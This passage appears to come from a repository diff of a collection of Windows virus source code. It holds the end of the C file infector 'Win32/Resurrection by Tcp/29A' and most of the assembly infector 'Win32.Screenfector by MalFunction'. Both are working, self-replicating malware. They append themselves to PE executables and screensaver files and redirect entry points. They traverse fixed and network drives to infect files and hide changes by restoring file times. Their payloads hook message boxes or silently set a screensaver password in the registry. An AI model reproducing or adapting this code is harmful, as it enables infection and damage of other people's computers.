// Do it writable
Section[i].Characteristics |= IMAGE_SCN_MEM_WRITE;
break;
}
}
// Check if last section is .reloc
HostRelocsSize = 0;
if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == Section[HostNSections-1].VirtualAddress)
{
// Then we'll join it to virus reloc section
VirusBaseRVA = SectionRVA = Section[HostNSections-1].VirtualAddress;
if ( (HostRelocs = (BYTE *)MEMALLOC((HostRelocsSize = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size))) == NULL)
{
goto L_Exit_Infect;
}
else // Read the .reloc section
{
HostNSections--;
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
ReadFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
}
}
else // There is no .reloc or it is not the last section
{
if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
{ // There are relocs but we didn't find them, so exit
goto L_Exit_Infect;
}
VirusBaseRVA = SectionRVA = PEHeader.OptionalHeader.SizeOfImage;
SetFilePointer(FHandle, 0, NULL, FILE_END);
}
FirstVirusSection = HostNSections;
// Add virus section table
CopyMemory(&Section[HostNSections], &ISection[0], sizeof(IMAGE_SECTION_HEADER) * VirusSections);
// Reloc virus code & fix reloc sections
if ((Relocations = MEMALLOC((VirusRelocSize > 0x1000)? VirusRelocSize : 0x1000)) == NULL) // Minimun a page
{
goto L_Exit_Infect;
}
CopyMemory(Relocations, (BYTE *)((DWORD)IDosHeader + ISection[VirusRelocSection].VirtualAddress + ISection[VirusRelocSection].Misc.VirtualSize - VirusRelocSize), VirusRelocSize);
RelocBlock = (IMAGE_BASE_RELOCATION *)Relocations;
PtrReloc = (IMAGE_RELOCATION_DATA *)(Relocations + sizeof(IMAGE_BASE_RELOCATION));
// Reloc all virus sections and write them to disk
for (i=0; i<VirusSections; i++)
{
DWORD RelocsInBlock;
Section[HostNSections + i].PointerToRawData = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT);
Section[HostNSections + i].VirtualAddress = SectionRVA;
Section[HostNSections + i].SizeOfRawData = (ISection[i].SizeOfRawData + PEHeader.OptionalHeader.FileAlignment-1) & (-(long)PEHeader.OptionalHeader.FileAlignment);
if (i == VirusRelocSection) // Virus reloc section?
{
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = SectionRVA;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = HostRelocsSize + VirusRelocSize;
Section[HostNSections + i].Misc.VirtualSize = HostRelocsSize + VirusRelocSize;
Section[HostNSections + i].SizeOfRawData = (HostRelocsSize + VirusRelocSize + (PEHeader.OptionalHeader.FileAlignment - 1)) & (-(long)PEHeader.OptionalHeader.FileAlignment);
// Write host relocations
WriteFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
// Add virus relocations
WriteFile(FHandle, Relocations, VirusRelocSize, &BytesRead, NULL);
// Fill with zeros until file alignment
memset(Relocations, 0, 0x1000);
WriteFile(FHandle, Relocations, Section[HostNSections + i].SizeOfRawData - (HostRelocsSize + VirusRelocSize), &BytesRead, NULL);
}
else
{
if ((Ptr = (BYTE *)MEMALLOC(ISection[i].SizeOfRawData)) == NULL)
{
goto L_Exit_Infect;
}
CopyMemory(Ptr, (BYTE *)((DWORD)IDosHeader + ISection[i].VirtualAddress), ISection[i].SizeOfRawData);
// Patch Visual C 5.0 heap in .data section
/*
{
DWORD * PtrHeap = &__small_block_heap;
if (((DWORD)IDosHeader + ISection[i].VirtualAddress < (DWORD)PtrHeap)
&&
((DWORD)IDosHeader + ISection[i].VirtualAddress + ISection[i].SizeOfRawData > (DWORD)PtrHeap)
)
{
PtrHeap = (DWORD *)(Ptr + (DWORD)PtrHeap - (DWORD)IDosHeader - ISection[i].VirtualAddress);
PtrHeap[3] = PtrHeap[2];
PtrHeap[4] = PtrHeap[5] = (DWORD)-1;
}
}
*/
// Do relocations in this section
while ( (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > RelocBlock->VirtualAddress)
&&
((DWORD)PtrReloc < (DWORD)Relocations + VirusRelocSizeDir)
)
{
DWORD Base;
Base = RelocBlock->VirtualAddress - ISection[i].VirtualAddress;
RelocsInBlock = (RelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_DATA);
while (RelocsInBlock--)
{
if (PtrReloc->RelocType == IMAGE_REL_BASED_HIGHLOW)
{
*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) -= (IPEHeader->OptionalHeader.ImageBase + ISection[i].VirtualAddress);//RelocBlock->VirtualAddress);
*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) += (PEHeader.OptionalHeader.ImageBase + SectionRVA);
}
PtrReloc++;
}
RelocBlock->VirtualAddress = RelocBlock->VirtualAddress - ISection[i].VirtualAddress + SectionRVA;
RelocBlock = (IMAGE_BASE_RELOCATION *)PtrReloc;
PtrReloc = (IMAGE_RELOCATION_DATA *)((BYTE *)RelocBlock + sizeof(IMAGE_BASE_RELOCATION));
}
// Check if this is the Import section
if (i == VirusImportSection)
{
IMAGE_IMPORT_DESCRIPTOR * Imports;
IMAGE_THUNK_DATA * DataImports;
DWORD StartImports;
DWORD DeltaRVAs;
DeltaRVAs = SectionRVA - ISection[i].VirtualAddress;
StartImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[i].VirtualAddress;
Imports = (IMAGE_IMPORT_DESCRIPTOR *)&Ptr[StartImports];
while (Imports->OriginalFirstThunk)
{
// Fix some initialized fields in memory
Imports->TimeDateStamp = Imports->ForwarderChain = 0;
Imports->OriginalFirstThunk += DeltaRVAs;
Imports->Name += DeltaRVAs;
Imports->FirstThunk += DeltaRVAs;
DataImports = (IMAGE_THUNK_DATA *)&Ptr[Imports->OriginalFirstThunk - SectionRVA];
do
{
DataImports->u1.AddressOfData = (IMAGE_IMPORT_BY_NAME *)((DWORD)DataImports->u1.AddressOfData + DeltaRVAs);
}
while ((++DataImports)->u1.AddressOfData);
Imports++;
}
}
WriteFile(FHandle, Ptr, Section[HostNSections + i].SizeOfRawData, &BytesRead, NULL);
MEMFREE(Ptr);
Ptr = NULL;
}
SectionRVA += ( Section[HostNSections + i].Misc.VirtualSize + (PEHeader.OptionalHeader.SectionAlignment - 1)) & (-(long)PEHeader.OptionalHeader.SectionAlignment);
}//for
// Recalculate Header fields
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = VirusRVAImports + Section[HostNSections + VirusCodeSection].VirtualAddress;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
PEHeader.OptionalHeader.SizeOfImage = SectionRVA;
PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP + Section[HostNSections + VirusCodeSection].VirtualAddress;
PEHeader.FileHeader.NumberOfSections = HostNSections + VirusSections;
PEHeader.OptionalHeader.SizeOfCode = 0;
PEHeader.OptionalHeader.SizeOfInitializedData = 0;
PEHeader.OptionalHeader.SizeOfUninitializedData = 0;
for (j=0; j<PEHeader.FileHeader.NumberOfSections; j++)
{
if (Section[j].Characteristics & IMAGE_SCN_CNT_CODE)
PEHeader.OptionalHeader.SizeOfCode += Section[j].SizeOfRawData;
if (Section[j].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
PEHeader.OptionalHeader.SizeOfInitializedData += Section[j].SizeOfRawData;
if (Section[j].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
PEHeader.OptionalHeader.SizeOfUninitializedData += Section[j].SizeOfRawData;
}
// Write new header and section table
SetFilePointer(FHandle, OfsSections - sizeof(IMAGE_NT_HEADERS), NULL, FILE_BEGIN);
WriteFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL);
WriteFile(FHandle, Section, PEHeader.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), &BytesRead, NULL);
}
L_Exit_Infect:
// Free allocated memory
if (HostRelocs != NULL)
MEMFREE(HostRelocs);
if (Relocations != NULL)
MEMFREE(Relocations);
if (Section != NULL)
MEMFREE(Section);
if (Ptr != NULL)
MEMFREE(Ptr);
}
///////////////////////////////////////////
// Recursively search for files to infect
///////////////////////////////////////////
void SearchFiles(char * Path)
{
HANDLE FindHandle;
HANDLE FHandle;
WIN32_FIND_DATA FindResult;
FILETIME Time1, Time2, Time3;
if (SetCurrentDirectory(Path))
{
// Search for EXE files in current directory
if ((FindHandle = FindFirstFile("*.EXE", &FindResult)) != INVALID_HANDLE_VALUE)
{
do
{
FHandle = CreateFile(FindResult.cFileName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_ARCHIVE,
NULL
);
if (FHandle != INVALID_HANDLE_VALUE)
{
GetFileTime(FHandle, &Time1, &Time2, &Time3); // Get file time
InfectFile(FHandle); // Infect file
SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time
CloseHandle(FHandle);
}
}
while (FindNextFile(FindHandle, &FindResult));
}
FindClose(FindHandle);
// Now search for subdirectories and process them
if ((FindHandle = FindFirstFile("*", &FindResult)) != INVALID_HANDLE_VALUE)
{
do
{
if (FindResult.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char * DirName;
DirName = _strupr(_strdup(FindResult.cFileName));
if (
(memcmp(DirName, "SYSTEM", 6)) // Skip SYSTEM??
&&
(FindResult.cFileName[0] != '.') // Skip loops with "." and ".."
)
{
SearchFiles(FindResult.cFileName);
}
free(DirName);
}
}
while (FindNextFile(FindHandle, &FindResult));
}
FindClose(FindHandle);
}
}
/////////////////////////////////////////////
// Search fixed and network drives to infect
/////////////////////////////////////////////
DWORD WINAPI SearchDrives()
{
DWORD Drives;
BYTE CurrentDrive[] = "A:\\";
DWORD DriveType;
BYTE i;
Drives = GetLogicalDrives();
for (i=0; i<sizeof(DWORD); i++)
{
if (Drives & (1<<i)) // Drive present?
{
CurrentDrive[0] = 'A' + i;
DriveType = GetDriveType(CurrentDrive);
// Only infect files in Fixed and Network Drives
if ((DriveType == DRIVE_FIXED) || (DriveType == DRIVE_REMOTE))
{
SearchFiles(CurrentDrive);
}
}
}
return 1;
}
///////////
// Payload
///////////
int MyMessageBox(HWND hWnd, LPSTR Text, LPSTR Caption, UINT Type)
{
char * Msgs[] =
{
"Hey you, stupid",
"Win32/Resurrection by Tcp/29A",
"Warning! Don't close this window",
"I already told you this but..."
};
static int i = 0;
return MessageBoxA(hWnd, Text, Msgs[++i & 3], Type);
}
// Simulated host for 1st generation
void Gen1()
{
MyMessageBox(NULL, "", NULL, MB_OK);
}
// Virus Entry Point
void main()
{
BYTE InfectedFile[_MAX_PATH];
DWORD ThreadID;
DWORD ThreadInfID;
HANDLE HThread;
HANDLE InfThread;
int i;
HMODULE * HandleDLL = NULL;
int ImportedDLLs = 0;
// Get the infected filename
GetModuleFileName(NULL, InfectedFile, sizeof(InfectedFile));
// And its memory address
IDosHeader = (IMAGE_DOS_HEADER *)GetModuleHandle(InfectedFile);
IPEHeader = (IMAGE_NT_HEADERS *)((BYTE *)IDosHeader + IDosHeader->e_lfanew);
if ( IPEHeader->Signature == IMAGE_NT_SIGNATURE ) // Check if we got the PE header
{
// Get ptr to Sections
ISection = (IMAGE_SECTION_HEADER *)((BYTE *)IPEHeader + sizeof(IMAGE_NT_HEADERS));
// Get ptr to virus Sections
ISection += FirstVirusSection;
if (Generation++ == 1)
{ // Make some easy 1st-gen calcs to avoid complex ones in next generations
HostEP = (DWORD)Gen1 - (DWORD)IDosHeader;
VirusSections = IPEHeader->FileHeader.NumberOfSections; // Number of sections
// Get the order of sections
for (i=0; i<VirusSections; i++)
{
if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.AddressOfEntryPoint)
&&
(ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.AddressOfEntryPoint)
)
{ // This is the code section
VirusCodeSection = i;
VirusEP = IPEHeader->OptionalHeader.AddressOfEntryPoint - ISection[i].VirtualAddress;
}
else
{
if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
&&
(ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
)
{ // This is the import section
VirusImportSection = i;
VirusRVAImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[0].VirtualAddress;
}
else
{
if (ISection[i].VirtualAddress == IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
{ // This is the reloc section
VirusRelocSection = i;
VirusRelocSize = ISection[i].Misc.VirtualSize;
VirusRelocSizeDir = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
}
}
}
}//for
}
else // Not first generation
{
IMAGE_IMPORT_DESCRIPTOR * HostImports;
int i;
HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
// Count imported DLLs
while (HostImports->OriginalFirstThunk)
{
ImportedDLLs++;
HostImports++;
}
HandleDLL = (HMODULE *)MEMALLOC(ImportedDLLs * sizeof(HMODULE));
// Make host imports
HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
for (i=0; i<ImportedDLLs; i++)
{
DWORD * FunctionName;
DWORD * FunctionAddr;
LPCTSTR Name;
LPCTSTR StExitThread = "ExitThread";
if ((HandleDLL[i] = LoadLibrary((LPCTSTR)(HostImports->Name + (DWORD)IDosHeader))) == NULL)
{ // Exit if not find a DLL
char StError[100];
MEMFREE(HandleDLL);
sprintf(StError, "Can not find %s", (LPCTSTR)(HostImports->Name + (DWORD)IDosHeader));
MessageBox(NULL, StError, "Error initializing program", MB_OK | MB_ICONWARNING);
ExitProcess(0);
}
// Perform host imports
FunctionName = (DWORD *)(HostImports->OriginalFirstThunk + (DWORD)IDosHeader);
FunctionAddr = (DWORD *)(HostImports->FirstThunk + (DWORD)IDosHeader);
while (*FunctionName)
{
if (*FunctionName & IMAGE_ORDINAL_FLAG)
{
// Windows doesn't like ordinal imports from kernel32, so use my own GetProcAddress
*FunctionAddr = GetProcAddressOrd((DWORD)HandleDLL[i], IMAGE_ORDINAL(*FunctionName));
}
else
{
Name = (LPCTSTR)((DWORD)IDosHeader + *FunctionName + 2/*Hint*/);
// Change ExitProcess by ExitThread
if (!strcmp(Name, "ExitProcess"))
Name = StExitThread;
// Set payload
if (!strcmp(Name, "MessageBoxA"))
*FunctionAddr = (DWORD)&MyMessageBox;
else
*FunctionAddr = (DWORD)GetProcAddress(HandleDLL[i], Name);
}
FunctionName++;
FunctionAddr++;
}
HostImports++;
}
}
HostEP += (DWORD)IDosHeader;
// Exec host with a thread
if ((HThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)HostEP, GetCommandLine(), 0, &ThreadID)) != NULL)
{
HANDLE VirusMutex;
// Check if already resident
if ( ((VirusMutex = CreateMutex(NULL, FALSE, "29A")) != NULL)
&&
(GetLastError() != ERROR_ALREADY_EXISTS)
)
{
// Create infection thread
InfThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SearchDrives , NULL, CREATE_SUSPENDED, &ThreadInfID);
// Assign a low priority
SetThreadPriority(InfThread, THREAD_PRIORITY_IDLE);
// Activate it
ResumeThread(InfThread);
// Wait until infection completed
WaitForSingleObject(InfThread, INFINITE);
ReleaseMutex(VirusMutex);
}
// Wait until host thread finnished
WaitForSingleObject(HThread, INFINITE);
}
for (i=0; i<ImportedDLLs; i++)
{
FreeLibrary(HandleDLL[i]);
}
if (HandleDLL != NULL)
MEMFREE(HandleDLL);
}
}

1521
Win32/Win32.Rivanon.asm Normal file

File diff suppressed because it is too large Load Diff

1809
Win32/Win32.RousSarcoma.asm Normal file

File diff suppressed because it is too large Load Diff

1830
Win32/Win32.Rudra.asm Normal file

File diff suppressed because it is too large Load Diff

1342
Win32/Win32.Sabia.asm Normal file

File diff suppressed because it is too large Load Diff

1033
Win32/Win32.Savior.asm Normal file

File diff suppressed because it is too large Load Diff

@ -0,0 +1,643 @@
; Å-----------
; Win32.Screenfector by MalFunction
;
; hi out there! this is my first little win32 infector. there's nothing
; special at it, no new technique, no new way of infecting. yes, it is
; a very poor coded direct action infector. :(
; BUT: have you ever heard of mcafee's silly feature 'scanning while
; the screensaver runs'?
; this virus is the answer to that feature. an infected exe-file
; will infect only scr-filez in the %windir% and %windir%\system directoriez.
; an infected scr-file will create a new thread for infecting and then
; immediately return to the host. the created thread infectz the whole
; HD usin' a dir traversal. i know it's slow and makes the user
; suspicious, but it's funny: a virus that infectz during the screensaver ...
; -------Å
; thanx 'n' greetz:
; -----------------
;
; Wang_E: i'm sure that u'll have yer own OS one day.
; thx for all da help, my friend!
; BlackArt: yeah, I'm still codin' that trojan ...
; Evil_Byte: Mittlerweile schon mal "Mirror, Mirror" von
; Blind Guardian geh”rt? ;)
; Benny/29A: all yer tutes in 29a#4 rox!
; Lord Julus: vx-tasy#1 is one of the best ezines i have ever seen
;
;
; compile with: tasm32.exe /m9 /ml screenf.asm
; tlink32.exe /aa /Tpe /c /x screenf.obj,,,import32.lib
; pewrite.exe screenf.exe
;
; (PEWrite is part of Lord Julus' VX-tasy#1)
.386
.model flat
extrn MessageBoxA:proc
extrn ExitProcess:proc
extrn GetProcAddress:proc
extrn GetModuleHandleA:proc
.data
dummy_title DB "senseless dummy prog v1.01",0
dummy_msg DB "dummy prog carrying a little win32 infector...",0
.code
dummy:
push 0 ; just a dummy ...
push offset dummy_title
push offset dummy_msg
push 0
call MessageBoxA
push 0
call ExitProcess
v_size = v_end - v_start
v_start: ; gimme that delta
call delta
delta:
pop ebp
jmp over_var ; variables part I
filehandle DD ?
maphandle DD ?
mapaddr DD ?
mapsize DD ?
keyhandle DD ?
value1 DD 1
hmodule DD ?
oldEIP DD ?
filealign DD ?
k32name DB "KERNEL32",0
advapiname DB "ADVAPI32",0
procsfound DB 0
searchmask DB "*.SCR",0
wildcard DB "*.*",0
root DB '\',0
nested DB 0
dotdot DB "..",0
fnhandle DD ?
fnhandle2 DD ?
threadID DD ?
_alloc DD ?
ptrGetProcAddress DD ?
ptrGetModuleHandleA DD ?
filetype DB 'E'
_GetProcAddress DB "GetProcAddress",0
_GetModuleHandleA DB "GetModuleHandleA",0
APIs:
GetWindowsDirectoryA DD ?
GetCurrentDirectoryA DD ?
SetCurrentDirectoryA DD ?
GetSystemDirectoryA DD ?
GetCommandLineA DD ?
GetSystemTime DD ?
ExitThread DD ?
CreateThread DD ?
CloseHandle DD ?
UnmapViewOfFile DD ?
MapViewOfFile DD ?
SetFileAttributesA DD ?
CreateFileMappingA DD ?
CreateFileA DD ?
FindNextFileA DD ?
FindFirstFileA DD ?
VirtualAlloc DD ?
LoadLibraryA DD ?
RegSetValueExA DD ?
over_var:
DB 0b8h ; mov eax,imm32 ; save old EIP
oldEIP2 DD offset dummy
mov [ebp+oldEIP-delta],eax
DB 0b8h ; mov eax,imm32 ; trace to import table
baseaddress DD 00400000h
add eax,[eax+3ch]
add eax,80h
mov eax,[eax]
add eax,[ebp+baseaddress-delta]
import1:
cmp dword ptr [eax],0 ; last import descriptor?
jz quit
mov esi,[eax+0Ch]
add esi,[ebp+baseaddress-delta]
lea edi,[ebp+k32name-delta] ; is it kernel32?
push 2
pop ecx
rep cmpsd
jz import2
add eax,14h
jmp import1
import2:
mov ebx,[eax] ; search for the needed API
mov edx,[eax+10h] ; addresses ...
add ebx,[ebp+baseaddress-delta]
add edx,[ebp+baseaddress-delta]
import3:
cmp dword ptr [ebx],0
jz no_more_imp
mov esi,[ebx]
add esi,[ebp+baseaddress-delta]
inc esi
inc esi
push esi
lea edi,[ebp+_GetProcAddress-delta] ; is it GetProcAddress?
push 14
pop ecx
rep cmpsb
jnz no_store1
mov edi,[edx]
mov [ebp+ptrGetProcAddress-delta],edi
inc byte ptr [ebp+procsfound-delta]
no_store1:
lea edi,[ebp+_GetModuleHandleA-delta] ; is it GetModuleHandleA?
push 4
pop ecx
pop esi
rep cmpsd
jnz no_store2
mov edi,[edx]
mov [ebp+ptrGetModuleHandleA-delta],edi
inc byte ptr [ebp+procsfound-delta]
no_store2:
add ebx,4
add edx,4
jmp import3
no_more_imp:
cmp byte ptr [ebp+procsfound-delta],2 ; both APIaddresses found?
jnz quit
mov byte ptr [ebp+procsfound-delta],0
lea eax,[ebp+k32name-delta] ; gimme k32 base
push eax
call [ebp+ptrGetModuleHandleA-delta]
mov [ebp+hmodule-delta],eax
push 18
pop ecx
lea edi,[ebp+APIs-delta]
lea esi,[ebp+ptr_table-delta]
get_APIs: ; retrieve all needed APIz
lodsd
add eax,ebp
sub eax,offset delta
push ecx
push edi
push esi
push eax
push dword ptr [ebp+hmodule-delta]
call [ebp+ptrGetProcAddress-delta]
pop esi
pop edi
pop ecx
test eax,eax
jz quit
stosd
loop get_APIs
push 40h ; allocate 1000 bytes
push 1000h
push 1000
push 0
call [ebp+VirtualAlloc-delta]
test eax,eax
jz quit
mov [ebp+_alloc-delta],eax
add eax,580 ; get system time
push eax
push eax
call [ebp+GetSystemTime-delta]
pop eax
cmp word ptr [eax+4],0 ; sunday?
jnz no_payload
cmp word ptr [eax+6],7 ; 1st sunday of month?
ja no_payload
lea eax,[ebp+advapiname-delta] ; load advapi32.dll
push eax
call [ebp+LoadLibraryA-delta]
test eax,eax
jz no_payload
push eax ; get RegOpenKeyExA address
lea ebx,[ebp+_RegOpenKeyExA-delta]
push ebx
push eax
call [ebp+ptrGetProcAddress-delta]
lea ebx,[ebp+keyhandle-delta] ; open the reg key
push ebx
push 001f0000h
push 0
lea ebx,[ebp+regkey-delta]
push ebx
push 80000001h
call eax
pop eax ; get RegSetValueExA address
lea ebx,[ebp+_RegSetValueExA-delta]
push ebx
push eax
call [ebp+ptrGetProcAddress-delta]
mov [ebp+RegSetValueExA-delta],eax
push 25 ; set screensaver pwd
lea ebx,[ebp+value2-delta]
push ebx
push 3
push 0
lea ebx,[ebp+value2name-delta]
push ebx
push dword ptr [ebp+keyhandle-delta]
call eax
push 4 ; enable screensaver pwd
lea eax,[ebp+value1-delta]
push eax
push 4
push 0
lea eax,[ebp+value1name-delta]
push eax
push dword ptr [ebp+keyhandle-delta]
call [ebp+RegSetValueExA-delta]
no_payload:
mov eax,[ebp+_alloc-delta] ; get current dir
add eax,320
push eax
push 260
call [ebp+GetCurrentDirectoryA-delta]
cmp byte ptr [ebp+filetype-delta],'E' ; is an EXE or a SCR executed?
jnz screen_save
its_exe:
mov dword ptr [ebp+searchmask+1-delta],'RCS.' ; set for findfile
mov byte ptr [ebp+filetype-delta],'S'
mov eax,[ebp+_alloc-delta] ; infect windoze dir
push eax
push 320
push eax
call [ebp+GetWindowsDirectoryA-delta]
call [ebp+SetCurrentDirectoryA-delta]
call infect_dir
mov eax,[ebp+_alloc-delta] ; infect windoze\system dir
push eax
push 320
push eax
call [ebp+GetSystemDirectoryA-delta]
call [ebp+SetCurrentDirectoryA-delta]
call infect_dir
mov eax,[ebp+_alloc-delta] ; go to old dir
add eax,320
push eax
call [ebp+SetCurrentDirectoryA-delta]
quit:
jmp [ebp+oldEIP-delta] ; jmp to host
screen_save:
mov dword ptr [ebp+searchmask+1-delta],'EXE.' ; set for findfile
mov byte ptr [ebp+filetype-delta],'E'
call [ebp+GetCommandLineA-delta] ; get CommandLine
mov edi,eax
xor eax,eax
get_end:
scasb
jnz get_end
cmp byte ptr [edi-2],'s' ; was the parameter /s ?
jz run_it ; (we don't want to infect
cmp byte ptr [edi-2],'S' ; when scr is configurated)
jz run_it
jmp quit
run_it:
mov [ebp+save_ebp-delta],ebp ; save EBP for new thread
lea eax,[ebp+threadID-delta] ; create the infection thread
push eax
push 0
push 0
lea eax,[ebp+myThread-delta]
push eax
push 0
push 0
call [ebp+CreateThread-delta]
jmp quit ; return to host
myThread:
DB 0bdh ; mov ebp,imm32 ; get delta handle
save_ebp DD ?
lea eax,[ebp+root-delta] ; set root dir as current dir
push eax
call [ebp+SetCurrentDirectoryA-delta]
call dirtrav ; INFECT!
push 0
call [ebp+ExitThread-delta] ; exit the thread
dirtrav:
call infect_dir ; infect directory
push dword ptr [ebp+_alloc-delta] ; find dir
lea eax,[ebp+wildcard-delta]
push eax
call [ebp+FindFirstFileA-delta]
push eax
inc eax
jz check_root
dec eax
mov [ebp+fnhandle-delta],eax
jmp test_if_dir
findnextdir:
push dword ptr [ebp+_alloc-delta] ; find next dir
push dword ptr [ebp+fnhandle-delta]
call [ebp+FindNextFileA-delta]
test eax,eax
jz check_root
test_if_dir:
mov eax,[ebp+_alloc-delta]
test dword ptr [eax],10h ; is it a directory?
jz findnextdir
mov eax,[ebp+_alloc-delta]
add eax,44
cmp byte ptr [eax],'.' ; is it '.' or '..'?
jz findnextdir
push eax
call [ebp+SetCurrentDirectoryA-delta] ; go to found dir
inc byte ptr [ebp+nested-delta]
call dirtrav ; recursive!
mov eax,[esp]
mov [ebp+fnhandle-delta],eax
jmp findnextdir
check_root:
cmp byte ptr [ebp+nested-delta],0 ; are we at root?
jz end_trav
lea eax,[ebp+dotdot-delta] ; go to '..'
push eax
call [ebp+SetCurrentDirectoryA-delta]
dec byte ptr [ebp+nested-delta]
end_trav:
add esp,4
ret
infect_dir:
push dword ptr [ebp+_alloc-delta] ; find a file
lea eax,[ebp+searchmask-delta]
push eax
call [ebp+FindFirstFileA-delta]
inc eax
jz no_more_filez
dec eax
mov [ebp+fnhandle2-delta],eax
jmp infect_file
findnextfile:
push dword ptr [ebp+_alloc-delta] ; find next file
push dword ptr [ebp+fnhandle2-delta]
call [ebp+FindNextFileA-delta]
test eax,eax
jz no_more_filez
infect_file:
xor edx,edx
mov eax,[ebp+_alloc-delta]
mov eax,[eax+32]
mov ecx,201
div ecx
test edx,edx
jz findnextfile ; already infected?
mov eax,[ebp+_alloc-delta] ; (fsize modulo 201 = 0)
mov eax,[eax+32]
add eax,v_size ; align fsize to 201 ...
push eax
xor edx,edx
div ecx
pop eax
sub edx,201
neg edx
add eax,edx
mov [ebp+mapsize-delta],eax ; ... and save it
push 80h ; clear file attributes
mov eax,[ebp+_alloc-delta]
add eax,44
push eax
call [ebp+SetFileAttributesA-delta]
test eax,eax
jz findnextfile
push 0 ; open file
push 80h
push 3
push 0
push 0
push 0C0000000h
mov eax,[ebp+_alloc-delta]
add eax,44
push eax
call [ebp+CreateFileA-delta]
inc eax
jz findnextfile
dec eax
mov [ebp+filehandle-delta],eax
push 0 ; map file part I
push dword ptr [ebp+mapsize-delta]
push 0
push 4
push 0
push eax
call [ebp+CreateFileMappingA-delta]
test eax,eax
jz closefile
mov [ebp+maphandle-delta],eax
push dword ptr [ebp+mapsize-delta] ; map file part II
push 0
push 0
push 2
push eax
call [ebp+MapViewOfFile-delta]
test eax,eax
jz closefile
mov [ebp+mapaddr-delta],eax
cmp word ptr [eax],'ZM' ; EXE signature?
jnz unmap
add eax,[eax+3ch]
mov edx,[ebp+mapaddr-delta]
cmp eax,edx
jnae unmap
mov edi,[ebp+_alloc-delta]
add edx,[edi+32]
cmp eax,edx
ja unmap
cmp dword ptr [eax],00004550h ; PE signature?
jnz unmap
mov edx,[eax+28h] ; save entrypoint
mov [ebp+oldEIP2-delta],edx
mov edx,[eax+34h]
mov [ebp+baseaddress-delta],edx ; save base address
add [ebp+oldEIP2-delta],edx
mov edx,[eax+3ch] ; save file alignment
mov [ebp+filealign-delta],edx
mov esi,[eax+74h] ; go to the last section header
shl esi,3
movzx ebx,word ptr [eax+6]
dec ebx
xchg eax,ebx
imul eax,eax,28h
lea esi,[esi+eax+78h]
add esi,ebx
or dword ptr [esi+24h], 0E0000020h ; set characteristix
add dword ptr [esi+8],v_size ; correct VirtualSize
mov eax,[esi+8]
xor edx,edx ; calculate new RawSize
mov ecx,[ebp+filealign-delta]
div ecx
test edx,edx
jz no_inc
inc eax
no_inc:
mul ecx
mov edx,eax
sub edx,[esi+10h]
add [ebx+50h],edx ; add increase to image size
mov [esi+10h],eax ; save new RawSize
push esi
mov edi,[esi+8] ; prepare to copy virus
add edi,[esi+14h]
sub edi,v_size
add edi,[ebp+mapaddr-delta]
mov ecx,v_size ; copy it!
lea esi,[ebp+v_start-delta]
rep movsb
pop esi ; save new entrypoint
mov edi,[esi+8]
add edi,[esi+0ch]
sub edi,v_size
mov [ebx+28h],edi
unmap:
push dword ptr [ebp+mapaddr-delta] ; unmap file
call [ebp+UnmapViewOfFile-delta]
closefile:
push dword ptr [ebp+filehandle-delta] ; and close it
